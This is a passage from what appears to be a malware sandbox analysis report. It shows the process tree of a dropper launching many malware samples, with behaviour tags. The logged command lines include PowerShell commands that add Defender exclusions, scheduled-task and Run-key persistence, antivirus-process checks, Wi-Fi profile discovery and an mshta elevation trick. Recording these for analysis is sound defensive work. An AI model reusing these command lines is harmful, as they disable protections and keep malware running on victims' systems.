        PID:13256
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:13244
    - - C:\Users\Admin\Desktop\Files\kitty.exe
        
        "C:\Users\Admin\Desktop\Files\kitty.exe"
        5⤵
        
        PID:6388
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6388 -s 508
        6⤵
        Program crash
        
        PID:12776
    - - C:\Users\Admin\Desktop\Files\abc.exe
        
        "C:\Users\Admin\Desktop\Files\abc.exe"
        5⤵
        
        PID:11892
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3920
    - - C:\Users\Admin\Desktop\Files\xxl.exe
        
        "C:\Users\Admin\Desktop\Files\xxl.exe"
        5⤵
        Executes dropped EXE
        
        PID:4628
    - - C:\Users\Admin\Desktop\Files\svchost.exe
        
        "C:\Users\Admin\Desktop\Files\svchost.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5872
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1296
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6096
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:660
    - - C:\Users\Admin\Desktop\Files\html.exe
        
        "C:\Users\Admin\Desktop\Files\html.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5784
      - C:\Program Files (x86)\Common Files\microsoft shared\ink\pipanel.exe
        
        "C:\Users\Admin\Desktop\Files\html.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5656
    - - C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe
        
        "C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5840
      - C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe
        
        "C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:5836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:4956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:6100
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:3236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
        7⤵
        
        PID:5980
        
        C:\Windows\system32\reg.exe
        
        reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
        8⤵
        Modifies registry key
        
        PID:4364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
        7⤵
        
        PID:3360
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
        8⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:1920
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:1432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:5744
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:1292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:1668
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:2764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5436
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6008
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5872
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2164
    - - C:\Users\Admin\Desktop\Files\LummaC22222.exe
        
        "C:\Users\Admin\Desktop\Files\LummaC22222.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5956
    - - C:\Users\Admin\Desktop\Files\newtpp.exe
        
        "C:\Users\Admin\Desktop\Files\newtpp.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:5028
      - C:\Windows\sysnldcvmr.exe
        
        C:\Windows\sysnldcvmr.exe
        6⤵
        Executes dropped EXE
        
        PID:4668
    - - C:\Users\Admin\Desktop\Files\xt.exe
        
        "C:\Users\Admin\Desktop\Files\xt.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:6048
    - - C:\Users\Admin\Desktop\Files\xxz.exe
        
        "C:\Users\Admin\Desktop\Files\xxz.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:936
    - - C:\Users\Admin\Desktop\Files\NorthSperm.exe
        
        "C:\Users\Admin\Desktop\Files\NorthSperm.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:4568
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Surrey Surrey.cmd && Surrey.cmd && exit
        6⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:5208
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4296
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:3752
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
        7⤵
        
        PID:5140
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 719580
        7⤵
        
        PID:4192
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "copehebrewinquireinnocent" Corpus
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4120
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Utilize + ..\Verzeichnis + ..\Built + ..\Vessels + ..\Cradle + ..\Jaguar + ..\Comics + ..\Flux + ..\Liberal f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5928
        
        C:\Users\Admin\AppData\Local\Temp\719580\Optimum.pif
        
        Optimum.pif f
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3044
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:5344
    - - C:\Users\Admin\Desktop\Files\GLP_installer_900223086_market.exe
        
        "C:\Users\Admin\Desktop\Files\GLP_installer_900223086_market.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6136
    - - C:\Users\Admin\Desktop\Files\si.exe
        
        "C:\Users\Admin\Desktop\Files\si.exe"
        5⤵
        Executes dropped EXE
        
        PID:6328
    - - C:\Users\Admin\Desktop\Files\freedom.exe
        
        "C:\Users\Admin\Desktop\Files\freedom.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        
        PID:6840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\freedom.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6728
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'freedom.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2452
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Windows.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2632
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6716
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows" /tr "C:\Users\Admin\Windows.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6052
    - - C:\Users\Admin\Desktop\Files\hhnjqu9y.exe
        
        "C:\Users\Admin\Desktop\Files\hhnjqu9y.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:7444
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6744 -s 480
        7⤵
        Program crash
        
        PID:7852
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell" Copy-Item 'C:\Users\Admin\Desktop\Files\hhnjqu9y.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ucloud.exe'
        6⤵
        
        PID:7380
    - - C:\Users\Admin\Desktop\Files\XClient.exe
        
        "C:\Users\Admin\Desktop\Files\XClient.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:8188
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6964
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6248
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2344
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6940
    - - C:\Users\Admin\Desktop\Files\djksahjkdhkh.exe
        
        "C:\Users\Admin\Desktop\Files\djksahjkdhkh.exe"
        5⤵
        
        PID:6192
    - - C:\Users\Admin\Desktop\Files\tt.exe
        
        "C:\Users\Admin\Desktop\Files\tt.exe"
        5⤵
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6208
      - C:\Windows\sysmablsvr.exe
        
        C:\Windows\sysmablsvr.exe
        6⤵
        Modifies security service
        Windows security bypass
        Windows security modification
        Suspicious behavior: SetClipboardViewer
        
        PID:8116
        
        C:\Users\Admin\AppData\Local\Temp\1743213699.exe
        
        C:\Users\Admin\AppData\Local\Temp\1743213699.exe
        7⤵
        
        PID:6240
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:9724
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:9000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:5412
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:10724
        
        C:\Users\Admin\AppData\Local\Temp\416019047.exe
        
        C:\Users\Admin\AppData\Local\Temp\416019047.exe
        7⤵
        
        PID:10780
        
        C:\Users\Admin\AppData\Local\Temp\2003617913.exe
        
        C:\Users\Admin\AppData\Local\Temp\2003617913.exe
        7⤵
        
        PID:10536
        
        C:\Users\Admin\AppData\Local\Temp\3319517853.exe
        
        C:\Users\Admin\AppData\Local\Temp\3319517853.exe
        7⤵
        
        PID:10644
    - - C:\Users\Admin\Desktop\Files\Discord3.exe
        
        "C:\Users\Admin\Desktop\Files\Discord3.exe"
        5⤵
        
        PID:6780
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"' & exit
        6⤵
        
        PID:4364
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6956
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD91F.tmp.bat""
        6⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7128
        
        C:\Users\Admin\AppData\Roaming\Discord.exe
        
        "C:\Users\Admin\AppData\Roaming\Discord.exe"
        7⤵
        
        PID:7912
    - - C:\Users\Admin\Desktop\Files\av_downloader.exe
        
        "C:\Users\Admin\Desktop\Files\av_downloader.exe"
        5⤵
        
        PID:7036
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\24A0.tmp\24A1.tmp\24A2.bat C:\Users\Admin\Desktop\Files\av_downloader.exe"
        6⤵
        
        PID:8084
        
        C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
        7⤵
        Access Token Manipulation: Create Process with Token
        
        PID:6348
        
        C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE
        
        "C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE" goto :target
        8⤵
        
        PID:7944
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3113.tmp\3114.tmp\3115.bat C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE goto :target"
        9⤵
        
        PID:3016
    - - C:\Users\Admin\Desktop\Files\x.exe
        
        "C:\Users\Admin\Desktop\Files\x.exe"
        5⤵
        
        PID:6364
    - - C:\Users\Admin\Desktop\Files\Authenticator.exe
        
        "C:\Users\Admin\Desktop\Files\Authenticator.exe"
        5⤵
        
        PID:912
    - - C:\Users\Admin\Desktop\Files\cclent.exe
        
        "C:\Users\Admin\Desktop\Files\cclent.exe"
        5⤵
        
        PID:9796
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "vchost32" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9960
    - - C:\Users\Admin\Desktop\Files\qth5kdee.exe
        
        "C:\Users\Admin\Desktop\Files\qth5kdee.exe"
        5⤵
        
        PID:10156
    - - C:\Users\Admin\Desktop\Files\r.exe
        
        "C:\Users\Admin\Desktop\Files\r.exe"
        5⤵
        
        PID:8296
    - - C:\Users\Admin\Desktop\Files\kill.exe
        
        "C:\Users\Admin\Desktop\Files\kill.exe"
        5⤵
        
        PID:7380
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:9464
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9464 -s 1284
        7⤵
        Program crash
        
        PID:10860
    - - C:\Users\Admin\Desktop\Files\p.exe
        
        "C:\Users\Admin\Desktop\Files\p.exe"
        5⤵
        
        PID:7496
    - - C:\Users\Admin\Desktop\Files\crypted.exe
        
        "C:\Users\Admin\Desktop\Files\crypted.exe"
        5⤵
        
        PID:8132
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10988
    - - C:\Users\Admin\Desktop\Files\ZinTask.exe
        
        "C:\Users\Admin\Desktop\Files\ZinTask.exe"
        5⤵
        
        PID:8724
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8724 -s 244
        6⤵
        Program crash
        
        PID:10768
    - - C:\Users\Admin\Desktop\Files\hashed.exe
        
        "C:\Users\Admin\Desktop\Files\hashed.exe"
        5⤵
        
        PID:6160
    - - C:\Users\Admin\Desktop\Files\op.exe
        
        "C:\Users\Admin\Desktop\Files\op.exe"
        5⤵
        
        PID:11624
      - C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\installer.exe
        
        .\installer.exe
        6⤵
        
        PID:11820
        
        C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe
        7⤵
        
        PID:13172
    - - C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe
        
        "C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe"
        5⤵
        
        PID:8360
    - - C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe
        
        "C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe"
        5⤵
        
        PID:12192
      - C:\Users\Admin\AppData\Local\Temp\is-SGF9J.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SGF9J.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$5069C,3652845,825344,C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe"
        6⤵
        
        PID:10468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:11960
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:10416
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrpc
        8⤵
        
        PID:12568
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrpc
        9⤵
        
        PID:8020
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c net stop tacticalagent
        7⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalagent
        8⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalagent
        9⤵
        
        PID:12064
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5728
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9692
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrmm
        8⤵
        
        PID:7872
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrmm
        9⤵
        
        PID:8696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
        7⤵
        
        PID:11112
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM tacticalrmm.exe
        8⤵
        Kills process with taskkill
        
        PID:9680
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c sc delete tacticalagent
        7⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete tacticalagent
        8⤵
        Launches sc.exe
        
        PID:5440
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c sc delete tacticalrpc
        7⤵
        
        PID:6552
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete tacticalrpc
        8⤵
        Launches sc.exe
        
        PID:11232
    - - C:\Users\Admin\Desktop\Files\Accounts.exe
        
        "C:\Users\Admin\Desktop\Files\Accounts.exe"
        5⤵
        
        PID:1916
    - - C:\Users\Admin\Desktop\Files\nuke.exe
        
        "C:\Users\Admin\Desktop\Files\nuke.exe"
        5⤵
        
        PID:7940
      - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        6⤵
        
        PID:13180
      - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        6⤵
        
        PID:12772
      - C:\Windows\system32\audiodg.exe
        
        "C:\Windows\system32\audiodg.exe"
        6⤵
        
        PID:8004
    - - C:\Users\Admin\Desktop\Files\GTA_V.exe
        
        "C:\Users\Admin\Desktop\Files\GTA_V.exe"
        5⤵
        
        PID:11648
      - C:\Users\Admin\AppData\Local\Temp\is-HU5MQ.tmp\GTA_V.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HU5MQ.tmp\GTA_V.tmp" /SL5="$16028A,18814322,1093120,C:\Users\Admin\Desktop\Files\GTA_V.exe"
        6⤵
        
        PID:10940
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /quiet /I "C:\Users\Admin\AppData\Local\Temp\is-RV1GB.tmp\AppleApplicationSupport.msi"
        7⤵
        
        PID:6668
    - - C:\Users\Admin\Desktop\Files\resex.exe
        
        "C:\Users\Admin\Desktop\Files\resex.exe"
        5⤵
        
        PID:3820
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Cover Cover.bat & Cover.bat & exit
        6⤵
        
        PID:9684
    - - C:\Users\Admin\Desktop\Files\wefhrf.exe
        
        "C:\Users\Admin\Desktop\Files\wefhrf.exe"
        5⤵
        
        PID:12608
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\wefhrf.exe'; Add-MpPreference -ExclusionProcess 'wefhrf'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6136
    - - C:\Users\Admin\Desktop\Files\robotic.exe
        
        "C:\Users\Admin\Desktop\Files\robotic.exe"
        5⤵
        
        PID:10960
    - - C:\Users\Admin\Desktop\Files\spoofer.exe
        
        "C:\Users\Admin\Desktop\Files\spoofer.exe"
        5⤵
        
        PID:11100
    - - C:\Users\Admin\Desktop\Files\HVNC1.exe
        
        "C:\Users\Admin\Desktop\Files\HVNC1.exe"
        5⤵
        
        PID:11720
    - - C:\Users\Admin\Desktop\Files\award.pdf.exe
        
        "C:\Users\Admin\Desktop\Files\award.pdf.exe"
        5⤵
        
        PID:11124
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4812
    - - C:\Users\Admin\Desktop\Files\pi.exe
        
        "C:\Users\Admin\Desktop\Files\pi.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5196
      - C:\Windows\sysppvrdnvs.exe
        
        C:\Windows\sysppvrdnvs.exe
        6⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
